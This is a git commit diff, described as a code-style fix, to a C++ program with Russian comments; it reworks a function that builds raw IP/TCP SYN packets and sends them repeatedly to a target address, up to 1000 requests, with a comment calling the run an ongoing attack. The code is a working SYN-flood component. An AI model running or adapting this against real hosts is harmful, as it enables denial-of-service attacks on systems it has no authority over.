fix: code style

moved initialisation to top of function, expanded comments
This commit is contained in:
Павел Овчинников 2025-04-02 23:14:25 +03:00
parent 10276f9775
commit 6488a42fb6
1 changed files with 92 additions and 68 deletions

View File

@ -364,30 +364,52 @@ int my_dns()
} }
unsigned short checksum(void *data, int len) { unsigned short checksum(void *data, int len) {
// считай чексумму для пакета // рассчёт чексуммы для пакета. получает пакет и возращает проверочную сумму
auto *ptr = (uint16_t *)data; uint16_t *ptr = (uint16_t *)data;
unsigned long sum = 0; unsigned long sum = 0;
while (len > 1) { while (len > 1) {
sum += *ptr++; sum += *ptr++;
len -= 2; len -= 2;
} }
if (len == 1) sum += *(uint8_t *)ptr; if (len == 1) {
uint8_t *byte_ptr = (uint8_t *)ptr;
sum += *byte_ptr;
}
sum = (sum >> 16) + (sum & 0xFFFF); sum = (sum >> 16) + (sum & 0xFFFF);
return (unsigned short)(~sum); return (unsigned short)(~sum);
} }
void my_tcp_syn() {
// === Инициализация переменных ===
// Сетевые сокеты void my_tcp_syn() {
int route_sock = -1; // Сокет для определения нашего IP (инициализирован -1 как индикатор ошибки)
int sock = -1; // Raw-сокет для отправки пакетов (инициализирован -1) /*
int one = 1; // Флаг для setsockopt (1 = включить опцию) * Отправляет TCP SYN запрос на указанный IP и порт
*
* Глобальные переменные:
* ip - IP адрес цели (строка)
* port - порт цели (строка)
* status - устанавливает статус выполнения:
* 0 - запрос успешно отправлен (атака продолжается)
* 2 - достигнуто максимальное количество запросов (1000)
* -201 - ошибка создания сокета для определения IP
* -202 - ошибка преобразования IP адреса
* -203 - ошибка соединения для определения IP
* -204 - ошибка получения локального IP (getsockname)
* -205 - ошибка создания raw-сокета
* -206 - ошибка отправки SYN-пакета
* n_ok_requests - счетчик успешных запросов
* n_fail_requests - счетчик неудачных запросов
*/
// === Объявление локальных переменных ===
int route_sock; // Временный сокет для определения нашего IP
int sock; // Основной raw-сокет для отправки пакетов
int one; // Флаг для setsockopt
// Структуры для адресов // Структуры для адресов
struct sockaddr_in target_addr; // Адрес цели (куда отправляем SYN) struct sockaddr_in target_addr; // Адрес цели
struct sockaddr_in src_addr; // Наш локальный адрес struct sockaddr_in src_addr; // Наш локальный адрес
socklen_t len = sizeof(src_addr); // Размер структуры адреса socklen_t len; // Размер структуры адреса
// Параметры подключения // Параметры подключения
uint16_t target_port = 0; // Порт цели (в сетевом порядке байт) uint16_t target_port = 0; // Порт цели (в сетевом порядке байт)
@ -396,7 +418,7 @@ void my_tcp_syn() {
struct iphdr ip_header; // IP-заголовок пакета struct iphdr ip_header; // IP-заголовок пакета
struct tcphdr tcp_header; // TCP-заголовок пакета struct tcphdr tcp_header; // TCP-заголовок пакета
// Псевдозаголовок для контрольной суммы TCP // Псевдозаголовок для контрольной суммы
struct { struct {
uint32_t saddr; // Адрес отправителя uint32_t saddr; // Адрес отправителя
uint32_t daddr; // Адрес получателя uint32_t daddr; // Адрес получателя
@ -406,104 +428,105 @@ void my_tcp_syn() {
} pseudo_header; } pseudo_header;
// Буферы данных // Буферы данных
char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Временный буфер для контрольной суммы char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы
char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет для отправки char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет
char src_ip_str[INET_ADDRSTRLEN]; // Строковое представление нашего IP char src_ip_str[INET_ADDRSTRLEN]; // Строковое представление IP
// === Основная логика функции === // === Инициализация переменных ===
route_sock = -1;
sock = -1;
one = 1;
len = sizeof(src_addr);
target_port = 0;
// Преобразуем строковый порт в число и конвертируем в сетевой порядок байт // === Основная логика процедуры ===
target_port = htons(atoi(port.c_str())); target_port = htons(atoi(port.c_str()));
// 1. Создаем временный UDP-сокет для определения нашего IP // 1. Создание временного сокета
if ((route_sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { if ((route_sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
perror("Ошибка создания сокета для определения IP"); perror("Ошибка создания сокета для определения IP");
status = -102; // Устанавливаем глобальный статус ошибки status = -201;
return; // Выходим из функции
}
// 2. Настраиваем адрес цели (куда будем отправлять SYN)
memset(&target_addr, 0, sizeof(target_addr)); // Обнуляем структуру
target_addr.sin_family = AF_INET; // Семейство адресов - IPv4
// Преобразуем строковый IP в бинарный формат
if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) {
perror("Ошибка преобразования IP адреса");
close(route_sock); // Закрываем сокет перед выходом
status = -102;
return; return;
} }
// 3. Устанавливаем соединение (для определения нашего IP) // 2. Настройка адреса цели
memset(&target_addr, 0, sizeof(target_addr));
target_addr.sin_family = AF_INET;
if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) {
perror("Ошибка преобразования IP адреса");
close(route_sock);
status = -202;
return;
}
// 3. Установка соединения
if (connect(route_sock, (struct sockaddr *)&target_addr, sizeof(target_addr))) { if (connect(route_sock, (struct sockaddr *)&target_addr, sizeof(target_addr))) {
perror("Ошибка connect для определения IP"); perror("Ошибка connect для определения IP");
close(route_sock); close(route_sock);
status = -102; status = -203;
return; return;
} }
// 4. Получаем наш локальный IP-адрес, который система выбрала для этого соединения // 4. Получение локального IP
if (getsockname(route_sock, (struct sockaddr *)&src_addr, &len)) { if (getsockname(route_sock, (struct sockaddr *)&src_addr, &len)) {
perror("Ошибка getsockname"); perror("Ошибка getsockname");
close(route_sock); close(route_sock);
status = -102; status = -204;
return; return;
} }
close(route_sock); // Закрываем временный сокет close(route_sock);
// 5. Создаем raw-сокет для отправки TCP-пакетов // 5. Создание raw-сокета
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
perror("Ошибка создания raw-сокета"); perror("Ошибка создания raw-сокета");
status = -102; status = -205;
return; return;
} }
// 6. Включаем режим ручного формирования IP-заголовка // 6. Установка опции IP_HDRINCL
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)); setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one));
// 7. Формируем IP-заголовок // 7. Формирование IP заголовка
memset(&ip_header, 0, sizeof(ip_header)); // Обнуляем структуру memset(&ip_header, 0, sizeof(ip_header));
ip_header.ihl = 5; // Длина заголовка в 32-битных словах (5*4 = 20 байт) ip_header.ihl = 5;
ip_header.version = 4; // Версия IPv4 ip_header.version = 4;
ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr)); // Общая длина пакета ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr));
ip_header.ttl = 64; // Время жизни пакета (хопы) ip_header.ttl = 64;
ip_header.protocol = IPPROTO_TCP; // Протокол верхнего уровня (TCP) ip_header.protocol = IPPROTO_TCP;
ip_header.saddr = src_addr.sin_addr.s_addr; // Наш IP ip_header.saddr = src_addr.sin_addr.s_addr;
ip_header.daddr = inet_addr(ip.c_str()); // IP цели ip_header.daddr = inet_addr(ip.c_str());
// 8. Формируем TCP-заголовок // 8. Формирование TCP заголовка
memset(&tcp_header, 0, sizeof(tcphdr)); // Обнуляем структуру memset(&tcp_header, 0, sizeof(tcphdr));
tcp_header.source = htons(12345); // Произвольный исходный порт tcp_header.source = htons(12345);
tcp_header.dest = target_port; // Порт цели tcp_header.dest = target_port;
tcp_header.seq = htonl(123456); // Начальный номер последовательности tcp_header.seq = htonl(123456);
tcp_header.doff = 5; // Длина заголовка в 32-битных словах (5*4 = 20 байт) tcp_header.doff = 5;
tcp_header.syn = 1; // Устанавливаем флаг SYN (запрос соединения) tcp_header.syn = 1;
tcp_header.window = htons(5840); // Размер окна tcp_header.window = htons(5840);
// 9. Рассчитываем контрольную сумму TCP // 9. Расчет контрольной суммы
pseudo_header = { pseudo_header = {
.saddr = ip_header.saddr, // Адрес отправителя .saddr = ip_header.saddr,
.daddr = ip_header.daddr, // Адрес получателя .daddr = ip_header.daddr,
.zero = 0, // Зарезервировано .zero = 0,
.protocol = IPPROTO_TCP, // Протокол TCP .protocol = IPPROTO_TCP,
.tcp_len = htons(sizeof(tcphdr)) // Длина TCP-заголовка .tcp_len = htons(sizeof(tcphdr))
}; };
// Копируем псевдозаголовок и TCP-заголовок во временный буфер
memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header)); memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header));
memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr)); memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr));
// Вычисляем и устанавливаем контрольную сумму
tcp_header.check = checksum(temp_buf, sizeof(temp_buf)); tcp_header.check = checksum(temp_buf, sizeof(temp_buf));
// 10. Собираем итоговый пакет (IP-заголовок + TCP-заголовок) // 10. Сборка пакета
memcpy(packet, &ip_header, sizeof(iphdr)); memcpy(packet, &ip_header, sizeof(iphdr));
memcpy(packet + sizeof(iphdr), &tcp_header, sizeof(tcphdr)); memcpy(packet + sizeof(iphdr), &tcp_header, sizeof(tcphdr));
// 11. Настраиваем адрес цели для отправки // 11. Настройка адреса цели
memset(&target_addr, 0, sizeof(target_addr)); memset(&target_addr, 0, sizeof(target_addr));
target_addr.sin_family = AF_INET; target_addr.sin_family = AF_INET;
target_addr.sin_addr.s_addr = inet_addr(ip.c_str()); target_addr.sin_addr.s_addr = inet_addr(ip.c_str());
// 12. Отправляем пакет // 12. Отправка пакета
if (sendto(sock, packet, sizeof(packet), 0, if (sendto(sock, packet, sizeof(packet), 0,
(struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) { (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) {
n_fail_requests++; n_fail_requests++;
@ -513,6 +536,7 @@ void my_tcp_syn() {
n_ok_requests++; n_ok_requests++;
} }
// 13. Проверка завершения
status = 0; status = 0;
if ((n_ok_requests + n_fail_requests) >= 1000) if ((n_ok_requests + n_fail_requests) >= 1000)
{ {
@ -546,7 +570,7 @@ int main(int argc, char **argv)
// Получаем текущее время в различных форматах // Получаем текущее время в различных форматах
time_t now_time_t = std::chrono::system_clock::to_time_t(start_timestamp); time_t now_time_t = std::chrono::system_clock::to_time_t(start_timestamp);
auto ms = std::chrono::duration_cast<std::chrono::milliseconds>( std::chrono::milliseconds ms = std::chrono::duration_cast<std::chrono::milliseconds>(
start_timestamp.time_since_epoch()) % 1000; start_timestamp.time_since_epoch()) % 1000;
// Выводим информацию о времени запуска программы // Выводим информацию о времени запуска программы